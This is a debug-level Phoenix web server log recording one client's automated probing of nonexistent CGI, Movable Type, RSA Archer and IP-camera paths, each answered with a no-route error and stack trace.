    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:19.570000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59932] GET /cgi-bin/index.sh
[Thu Sep  3 08:17:19.578000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59932] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/index.sh (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:20.380000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59938] GET /
[Thu Sep  3 08:17:20.380000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:59938] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:17:20.380000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59938] Sent 200 in 860µs
[Thu Sep  3 08:17:21.558000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59954] POST /spipe
[Thu Sep  3 08:17:21.575000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59954] ** (Phoenix.Router.NoRouteError) no route found for POST /spipe (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:25.227000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38544] GET /cgi-bin/login.cgi
[Thu Sep  3 08:17:25.239000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38544] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/login.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:25.794000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Request line HTTP error: "CONNECT\r\n"
[Thu Sep  3 08:17:30.893000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38550] GET /cgi-bin/mailit.pl
[Thu Sep  3 08:17:30.902000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38550] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/mailit.pl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:32.977000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38566] GET /dtlt/home.html
[Thu Sep  3 08:17:33.000000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38566] ** (Phoenix.Router.NoRouteError) no route found for GET /dtlt/home.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:33.326000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43410] GET /SE/appInfo.xml
[Thu Sep  3 08:17:33.342000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43410] ** (Phoenix.Router.NoRouteError) no route found for GET /SE/appInfo.xml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:33.937000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43414] GET /SE/EMC_SE.swf
[Thu Sep  3 08:17:33.967000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43414] ** (Phoenix.Router.NoRouteError) no route found for GET /SE/EMC_SE.swf (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:34.544000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43426] GET /SE/EMC_SE.swf
[Thu Sep  3 08:17:34.568000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43426] ** (Phoenix.Router.NoRouteError) no route found for GET /SE/EMC_SE.swf (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:36.636000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43438] GET /cgi-bin/mt/mt-check.cgi
[Thu Sep  3 08:17:36.650000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43438] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/mt/mt-check.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:40.445000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43442] GET /IPCamDesc.xml
[Thu Sep  3 08:17:40.468000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43442] ** (Phoenix.Router.NoRouteError) no route found for GET /IPCamDesc.xml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:42.307000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43458] GET /cgi-bin/mt/mt-load.cgi
[Thu Sep  3 08:17:42.317000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43458] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/mt/mt-load.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:43.304000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38990] GET /RSAarcher/Default.aspx
[Thu Sep  3 08:17:43.316000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38990] ** (Phoenix.Router.NoRouteError) no route found for GET /RSAarcher/Default.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:44.916000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38994] GET /RSAarcher/Default.asp
[Thu Sep  3 08:17:44.941000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38994] ** (Phoenix.Router.NoRouteError) no route found for GET /RSAarcher/Default.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:48.114000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39000] GET /cgi-bin/mt-static/mt-check.cgi
[Thu Sep  3 08:17:48.144000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39000] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/mt-static/mt-check.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:48.395000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39004] GET /desktop/
[Thu Sep  3 08:17:48.410000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39004] ** (Phoenix.Router.NoRouteError) no route found for GET /desktop (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:53.111000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58598] GET /web/
[Thu Sep  3 08:17:53.137000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58598] ** (Phoenix.Router.NoRouteError) no route found for GET /web (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
